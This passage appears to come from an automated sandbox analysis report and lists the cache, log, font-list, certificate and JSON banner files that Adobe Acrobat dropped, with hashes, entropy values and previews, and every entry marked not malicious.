SHA-256:	877D1811B04811272363DB3195DACB35306ACB7AB6B3CDF21B62DF85562AFB38
SHA-512:	0D1D1625EAD421ABA946ED591A6AEEB7181325965F549C164CB11A4E76D62EF1002DA0905657D4A3B73E9C1E24710749DA9DB1EA49486F1D96190FC8F405629A
Malicious:	false
Preview:	2025/01/11-00:43:12.519 1dac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:43:12.520 1dac Recovering log #3.2025/01/11-00:43:12.521 1dac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1326585842071255
Encrypted:	false
SSDEEP:	6:iOxglWM+q2PcNwi2nKuAl9OmbzNMxIFUtrXho1ZmwNXly+WMVkwOcNwi2nKuAl9c:7SL+vLZHAa8jFUtDhm/Fly+LV54ZHAab
MD5:	FB0B433FA9538D4337ECEB0F5F6ED362
SHA1:	9DF070F0C13DE5C5DDD61EC005CD53D18DDB3D97
SHA-256:	877D1811B04811272363DB3195DACB35306ACB7AB6B3CDF21B62DF85562AFB38
SHA-512:	0D1D1625EAD421ABA946ED591A6AEEB7181325965F549C164CB11A4E76D62EF1002DA0905657D4A3B73E9C1E24710749DA9DB1EA49486F1D96190FC8F405629A
Malicious:	false
Preview:	2025/01/11-00:43:12.519 1dac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:43:12.520 1dac Recovering log #3.2025/01/11-00:43:12.521 1dac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438551033247733
Encrypted:	false
SSDEEP:	384:yeaci5G2iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1+urVgazUpUTTGt
MD5:	4B1919F5404351D9EBA7686C03D60EC2
SHA1:	7B15B351270A19CBE98834EDD689F3DE62336431
SHA-256:	BB40BA6B4A2E72F19C0D533A47B8EB14B844AE73460DAB46F186E69ED3786B52
SHA-512:	2F96DB99C1A5058449C514B492EE6E8432ED5C102C4D62CC0643E9C1383743D9F9CAE87790F866315BF62D5A0476B27EE5646561C5BFD015012E650724AA7B8D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774458375728799
Encrypted:	false
SSDEEP:	48:7Mcp/E2ioyVOioy3DoWoy1CABoy1eKOioy1noy1AYoy1Wioy1hioybioysoy1nob:7zpjuO0iAaXKQZsb9IVXEBodRBkt
MD5:	E0871799332A598261A71B015F93A5D0
SHA1:	F975F6C5EBD94A0727E432F596D4172901FF6BD9
SHA-256:	CFF47E1ABECC88E5A6F53C591367F3873C965A5FC4E14B6923D8E5DEAAC9F538
SHA-512:	DFB0A0590330418AF7F725D1123D58D54E51FBB17B50A88B7116BD6CF473DCC646F93A84C4F49E7E74126A0C5DD36C0B1D6F1752405B9B99AB26428903141D7C
Malicious:	false
Preview:	.... .c.......>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklsBOytfllXlE/HT8kqf7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK13eT8XVNMa8RdWBwRd
MD5:	F8A9D5354D3EE00087EAB258D8E7434F
SHA1:	112DB0393CB2AC7EA912233D018E8B652A0A495C
SHA-256:	873D51BDF09B080D4C3174828A0B155D464C75ADDC67C54C0E26638A1FE11666
SHA-512:	DFAE1C2B612764612E29C67D884CBA60357E64F9B5654FCB4522709C11162F8F0AFA845CD10B5DFAD41B4581689E1A11EB3650DC7753AE267099C7C711B2F94F
Malicious:	false
Preview:	p...... .........-[..c..(....................................................... ..........W.....b..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKJWGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/iDImsLNkPlE99SNxAhUe/3
MD5:	3BAE03FB97BE1A10E11434FCF7155D33
SHA1:	CA138C5E837821ADC147DD041217BC1E5E9BD8DA
SHA-256:	4E325BDAE519BB1B9BDA68D9085FA0DA9D4327DF373F9D1E65FA23B4AADB78E5
SHA-512:	C2C8B9D5758663BE4A437E30C7D8DF32FB83D84BD61F4CCC8DED7764A7CA321B1C4A6388A2B18B0D1D354098A258F84533436FA51078F2C689241BFB822B3A1E
Malicious:	false
Preview:	p...... .........*...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3540327455478955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJM3g98kUwPeUkwRe9:YvXKXlzuwWWsdTeOqGMbLUkee9
MD5:	8E73439988167ADF96DDEE65F9C22A86
SHA1:	A25AA317AA5E7E2C4951D468B9517E18A6F45A10
SHA-256:	26651198765376B1BA3353540AF312D7D00682AEB8038D36240C91AA0D59CF70
SHA-512:	2596857D2907CA45B74CA8714FA127C80252CF6785C9F340331685D583FCE0FFD0468B1304556FBA09345B674B7A4CE64C1D903EA1740C7AF77B337CD53EFC16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285075574283369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfBoTfXpnrPeUkwRe9:YvXKXlzuwWWsdTeOqGWTfXcUkee9
MD5:	1B79871A00EB591D3537785792D6B85F
SHA1:	104EB307DB710AB645456CD97BF3967F7B3D3802
SHA-256:	9C73AE707AA59175EE8FB3ABC7E2F5B68F47CC201D2F3810F0E0ECA0BFDAC16C
SHA-512:	36C2B9B60B60E717EFA77D679C09C1C14E365316F04A7A1CA834801756A7128178FF64D38F97C645A3EE834487A094BCB95FFF8B0A1886F6FC23C2C9D9C0081C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26415503848833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfBD2G6UpnrPeUkwRe9:YvXKXlzuwWWsdTeOqGR22cUkee9
MD5:	45C2A0B2B1A08335E93EBE52ACEE3DA9
SHA1:	16F3A8B611635ABBFB7D1EDAA4A1C51135E0F15F
SHA-256:	DBF8C89741EF8B71E8470523E60B49F53F5243CF55C9F0954AA0D7263D467181
SHA-512:	0714EB6416CBF8D08FE05DC2C22C2550512AAD9B2BB4A3EA413801761E9200502C480B02BF16C8B0FD69F43B35BA1207A9E242582DF55C0B8082543C4088903F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3405836577985255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfPmwrPeUkwRe9:YvXKXlzuwWWsdTeOqGH56Ukee9
MD5:	D672E7CC235A8F21C081361D44B13927
SHA1:	2B16B0B525D173AB77C5DB1B7A12C2058586BF26
SHA-256:	B811A8FE79F16CD73DE96D082C7E282ACAA78579F653944962A7B118A6913015
SHA-512:	604FA60D17F57A87893783CC53AEC0DB467E5AB574CBB4E735A409E8041AEC5CCF3ECA1E0EEE4975FE33BDD41C4EDCCB2C5A476322813EC4772B190D6693CEB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690904990156249
Encrypted:	false
SSDEEP:	24:Yv6Xtuw7meOnpLgE9cQx8LennAvzBvkn0RCmK8czOCCS1:YvCCechgy6SAFv5Ah8cv/1
MD5:	03A297E728FA705530E7C394B47E4F2F
SHA1:	99E599DCAF1DA6ADD49E98C076D4182CECED9151
SHA-256:	BFD1CF43DED67741D881F1C6C19CE1B08ED2F54035EC4889DE3F34BBB4E4077F
SHA-512:	BF2C1DA46D93A400FE99C0566F7BF448623080A35D6EBE53D7DDF974DC3EB82F29FE8A45DF03C160D1D3C987ACA7D8C43F3F590F20B7DB49C526819390147857
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275722704471641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJf8dPeUkwRe9:YvXKXlzuwWWsdTeOqGU8Ukee9
MD5:	23F74C1E101107002A447494CC2B2E84
SHA1:	79E179D3C25E86CB0C1C70F109D03296E7EC005F
SHA-256:	21A495046E7A3C917DB3A4B9E8B7EA43400D86D57E6806C7627D946DFF86F8BB
